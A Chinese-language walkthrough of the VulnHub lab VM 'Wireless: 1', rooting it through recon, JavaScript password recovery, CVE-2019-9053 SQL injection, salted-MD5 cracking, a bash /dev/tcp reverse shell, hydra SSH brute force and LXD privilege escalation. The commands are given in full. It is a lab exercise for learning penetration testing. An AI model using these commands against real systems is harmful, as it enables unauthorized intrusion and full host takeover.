準備:
攻擊機:虛擬機器kali、本機win10。
靶機:Wireless: 1,下載地址:https://download.vulnhub.com/wireless/Mystiko-Wireless.rar,下載後直接vm開啟即可。
知識點:lxd提權、密碼字典生成、hydra爆破、dns解析、SMS資訊解密、cve-2019-9053漏洞。
一:資訊收集
1.nmap掃描
使用nmap掃描下靶機地址,命令:nmap -sn 192.168.0.0/24,發現靶機地址:192.168.0.11。
使用nmap掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.0.11,顯示開放了22埠、80埠、8000埠、8080埠,開啟了ssh服務、http服務
2.目錄掃描
使用gobuster進行目錄掃描,命令:gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.0.11,但是未發現有效資訊。掃描其8000埠時,掃描失敗。
3.web訪問
透過web訪問8000埠時,在首頁發現了一個郵箱資訊:jinmori@voip.in,猜測使用者名稱是:jinmori。
在首頁中發現登入頁面:http://192.168.0.11:8000/login,然後在其原始碼資訊中發現:http://192.168.0.11:8000/static/js/login.js檔案,讀取該檔案資訊。
直接在瀏覽器中右鍵檢查中的console中執行程式碼,然後輸出delog,命令:console.log(delog);
得到一個新的輸出,將執行的結果繼續執行,然後輸出p,命令:console.log(p);,成功獲得一串字串,猜測是密碼資訊:Taekwondo。
二:資訊利用
1.SMS資訊解密
利用獲得賬戶資訊:jinmori/Taekwondo登入web系統,然後在其viop logs中發現SMS資訊。
使用sms資訊解密網站:https://www.smsdeliverer.com/online-sms-pdu-decoder.aspx對sms資訊進行解密,成功獲得提示資訊,告訴我們要訪問8080服務,還需要進行dns解析。
2.dns解析
win:開啟C:\Windows\System32\drivers\etc\hosts檔案,新增:192.168.0.11 wireless.com。linux:開啟/etc/hosts檔案,新增:192.168.0.11 wireless.com。然後訪問:http://wireless.com:8080/,返回資訊告訴我們內部門戶v1。後面在訪問:http://wireless.com/時發現是CMS Made Simple框架,在其首頁發現框架的版本資訊:CMS Made Simple version 2.2.9。
使用searchsploit搜尋下該框架版本的漏洞資訊,發現存在sql注入漏洞。
3.目錄掃描
使用gobuster進行目錄掃描,命令:gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://wireless.com/,發現admin、tmp、config.php目錄和檔案。
三:獲取shell
1.cve-2019-9053漏洞利用
直接使用該指令碼進行漏洞利用,但是進行利用的時候發現一旦開啟對密碼明文資訊的爆破該指令碼就會報錯,因此我這裡就將爆破明文密碼的那塊程式碼單獨拿出來了,只用該指令碼其他資訊,命令:python exp.py -u http://wireless.com/,成功獲得salt:551c92a536111490、username:juniordev、加密的密碼:a25bb9e6782e7329c236d2538dd4f5ac。
然後利用解密指令碼對獲得加密密碼進行解密,這裡為了方便測試直接寫死了全部的引數,可以自行更改,執行完該指令碼後成功獲得密碼:passion。
import hashlib
def crack_password():
password = 'a25bb9e6782e7329c236d2538dd4f5ac'
result = ''
salt = '551c92a536111490'
dict = open("/usr/share/wordlists/rockyou.txt")
for line in dict.readlines():
line = line.replace("\n", "")
if str(hashlib.md5((str(salt) + line).encode("utf-8")).hexdigest()) == password:
result += "\n[+] Password cracked: " + line
break
dict.close()
print(result)
crack_password()
2.獲取shell
利用獲得的賬戶資訊:juniordev/passion登入web頁面,在web系統中的Extensions-user defined tags中發現可以執行程式碼,因此構造:exec("/bin/bash -c 'bash -i >&/dev/tcp/192.168.0.9/6688 0>&1'");進行shell反彈,成功獲取shell許可權。
四:8080埠利用
在上面雖然獲得了shell許可權,但是隻在該許可權中發現了coherer賬戶,未發現可以進行提權的資訊點只能去8080埠看一下。但是我在8080埠也未發現有用的資訊,在網上看了以下,發現存在一個子域名:testing.wireless.com,訪問:http://testing.wireless.com:8080/服務時,返回的是一個登入頁面,採用前面發現的賬戶資訊:juniordev/passion可以直接登入到系統內。
在輸入框中進行測試,當我們輸入help時會回顯我們可以執行的命令,可以執行的命令包含:tools、logs、whoami、clear、questions。當我們執行命令logs時返回了Network.data檔案。
訪問該檔案是一個很長的一篇資訊。
那我們就將Network.data檔案生成字典,命令:cewl -m 4 http://testing.wireless.com:8080/static/Network.data > passwd,然後使用hydra進行爆破,命令:hydra ssh://192.168.0.11 -l coherer -P passwd,最終成功獲得賬戶和密碼資訊:coherer/Induction。
使用獲得的賬戶資訊:coherer/Induction進行ssh登入,成功獲得coherer許可權的shell許可權。
五:提權-root
在coherer的shell中發現coherer賬戶具有lxd許可權,那我們就可以利用lxd進行提權,最終成功獲得root許可權。
#上傳tar.gz檔案,然後依次執行以下程式碼。百度網盤:連結:https://pan.baidu.com/s/1rJ61YRlLgEXGP-bUKPf7DA,提取碼:upfn
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
lxd init #基本預設配置,進行回車就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
獲得root許可權後在/mnt/root/root目錄下發現proof.txt,讀取該檔案成功獲得flag值。